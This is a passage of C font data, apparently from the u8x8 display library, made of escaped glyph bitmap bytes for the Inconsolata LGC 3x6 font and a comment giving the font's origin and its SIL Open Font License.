\"\\3\\3\\3\\0\\0\\0\\0\\300\\300\\340```\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\340\\361\\277\"\n  \"\\37\\4\\0\\0\\0\\0\\200\\300\\200\\0\\0\\0\\0\\201\\303\\377\\377<\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\0\\0\\0\\0\\0\\0\\0\\200\\340p\\34\\16\\3\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\14\\17\\17\\14\\14\\14\\14\\14\\377\\377\\377\\14\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340````````\\0\\0\\0\\0\\0\\377\\377\\177\\60\\60\\60\\60p\\360\"\n  \"\\340\\300\\0\\0\\0\\0\\300\\300\\300\\200\\0\\0\\0\\0\\200\\300\\377\\377\\77\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340```\\340\\300\\300\\0\\0\\0\\0\\370\\376\\377\\343`\\60\\60\\60p\\360\"\n  \"\\340\\300\\0\\0\\0\\0\\37\\177\\377\\300\\200\\0\\0\\0\\200\\300\\377\\377\\77\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0`````````\\340\\340`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\177\\17\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340```\\340\\300\\300\\200\\0\\0\\0\\0\\0\\17\\77\\277\\360\\340@\\300\\340\\361\\77\"\n  \"\\37\\6\\0\\0\\0|\\376\\377\\301\\200\\0\\0\\0\\0\\201\\303\\377~\\20\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340```\\340\\300\\200\\0\\0\\0\\0\\0>\\377\\377\\301\\200\\0\\0\\0\\200\\201\"\n  \"\\377\\377\\374\\0\\0\\0\\0\\200\\201\\203\\3\\3\\3\\203\\201\\341\\377\\77\\17\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60xx\\60\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--44-440-72-72-P-201-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 191/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inr33_3x6_f[32260] U8X8_FONT_SECTION(\"u8x8_font_inr33_3x6_f\") = \n  \" \\377\\3\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\"\n  \"\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\7\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\"\n  \"\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\340\\0\\0\\0\\0\\0\\340\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300@\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\377\\377\\377\\201\\200\\200\\200\\200\\300\\377\\377\\377\\200\"\n  \"\\200\\200\\200\\0\\0\\1\\1\\1\\1\\1\\377\\377\\377\\1\\1\\1\\1\\1\\301\\377\\377\\177\\1\\1\\1\\1\\1\\0\\14\\14\\14\\14\"\n  \"\\14\\374\\377\\377\\17\\14\\14\\14\\14\\214\\377\\377\\177\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\34\\37\\37\\3\\0\\0\\0\\0\"\n  \"\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\"\n  \"\\374\\376\\17\\7\\7\\7\\377\\377\\377\\7\\7\\7\\17\\36>\\34\\10\\0\\0\\0\\0\\0\\1\\7\\17\\37\\36<<x\\377\\377\"\n  \"\\377\\340\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\200\\300\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\1\\1\\207\\377\\377\"\n  \"\\376\\70\\0\\0\\0\\3\\3\\7\\17\\17\\16\\34\\34\\34\\377\\377\\377\\34\\34\\16\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300@\\0\\0~\\377\\377\\303\\201\\201\\201\\303\\377\\377\\377<\\0\\200\\340\\370\\374\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\1\\301\\360\\370~\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300\\360\\374\\77\\17\\3\\1\\340\\370\\374\\36\\16\\16\\16>\\374\\370\\340\\0\\0 \\70>\\37\\7\\3\\0\\0\\0\\0\\0\"\n  \"\\3\\17\\37<\\70\\70\\70<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0|\"\n  \"\\377\\377\\377\\3\\3\\1\\1\\3\\207\\377\\377\\376x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\301\\347\\357\\177|\\370\\374\\336\"\n  \"\\217\\7\\3\\1\\0\\0\\0\\200\\0\\0\\0\\0\\370\\376\\377\\377\\7\\1\\0\\0\\0\\0\\3\\7\\37\\77\\374\\370\\360\\360\\370\\177\"\n  \"\\37\\16\\2\\0\\1\\7\\17\\37\\36<<\\70\\70\\70<\\34\\36\\17\\17\\7\\3\\7\\37\\77\\36\\30\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\"\n  \"\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360p\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\370\\376\\77\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<x\\70\\20\\0\\0\\0\\0\\0`\\360\\340\\340\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\17\\77\\376\\374\\360\\340\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\374\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\376\"\n  \"\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70x<\\36\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\30\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\16\\36\\34\\34\\70\\270\\360\\377\\377\"\n  \"\\367\\270\\70\\30\\34\\34\\16\\16\\17\\10\\0\\0\\0\\0\\0`p\\370~\\37\\17\\3\\1\\0\\3\\7\\37>\\374x`\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0ppppppppp\\377\\377\\377\\377pppppppp\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<~\\376\\376\\374p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0 x<\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\360\\340 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\177\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\300\\360\\374\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\370\\376\\77\\17\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\"\n  \"\\374\\376\\37\\17\\7\\3\\1\\1\\1\\3\\3\\207\\377\\376\\374\\360\\300\\0\\0\\0\\0\\376\\377\\377\\377\\0\\0\\0\\0\\300\\340\\360\"\n  \"x\\36\\17\\7\\1\\1\\377\\377\\377\\374\\0\\0\\0\\7\\177\\377\\377\\370\\374\\36\\17\\7\\1\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\77\\3\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<\\70\\70\\70<\\34\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\16\\16\\17\\7\\7\\7\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\"\n  \"\\37\\17\\7\\3\\3\\1\\1\\1\\1\\3\\3\\7\\37\\377\\376\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300\\340\\360\\374\\77\\37\\17\\1\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370<\\36\\17\\7\\3\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\70>\\77\\77;\\71\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70<\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\7\\7\\3\\3\\1\\1\\1\\1\\1\\3\\7\\17\\377\\376\\374p\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70x||\\376\\357\\347\\307\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\201\\377\\377\\377\\376\\0\\0\\0\\0\\0\\0\\4\\17\\37\\36\\34<\\70\\70\\70\\70\"\n  \"<<\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\300\\360\\370>\\17\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360|>\\17\\7\\1\\0\"\n  \"\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\34\\37\\37\\37\\35\\34\\34\\34\\34\\34\\34\\34\\34\\377\\377\\377\\377\\34\\34\"\n  \"\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\77\\177\\77\\77\\34\\16\\16\\16\\16\\16\\36\\36<\\374\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\177\\0\\0\\0\\0\\0\\3\\7\\17\\36\\36\\34<\\70\\70\\70\"\n  \"<<\\34\\36\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\"\n  \"\\370\\374~\\37\\7\\3\\3\\1\\1\\1\\1\\3\\3\\7\\3\\3\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377p\\70\\34\\36\\16\\16\"\n  \"\\16\\16\\36>|\\370\\360\\340\\200\\0\\0\\0\\0\\0\\37\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\"\n  \"\\177\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\36<\\70\\70\\70<<\\36\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\301\\361\\377\\377\\77\\7\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\300\\370\\376\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60>\\77\\77\\17\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\"\n  \"\\374\\376\\377\\17\\3\\3\\1\\1\\1\\1\\3\\3\\17\\377\\377\\374x\\0\\0\\0\\0\\0\\0\\0\\3\\207\\317\\377\\376|\\70\\70\"\n  \"px\\374\\376\\317\\317\\207\\1\\0\\0\\0\\0\\0\\0\\370\\376\\377\\377\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\207\\377\\377\"\n  \"\\376\\370\\0\\0\\0\\0\\0\\3\\7\\17\\37\\36<<\\70\\70\\70\\70<\\34\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\376\\377\\17\\7\\3\\3\\1\\1\\1\\3\\3\\17\\37\\376\\374\\360\"\n  \"\\200\\0\\0\\0\\0\\0\\17\\77\\177\\377\\360\\340\\300\\300\\200\\200\\200\\300\\300\\340p\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\\0\\340\\377\\377\\177\\17\\0\\0\\0\\0\\0\\0\\14\\36\\36\\34<\\70\\70\\70\\70\"\n  \"<\\34\\36\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\"\n  \"\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34>>\\376\"\n  \"\\376\\374x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\70\\36\\17\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360px<<\\36\\36\\0\\0p\\360\\370\\374\\334\\236\\216\\17\\7\\7\\3\\3\"\n  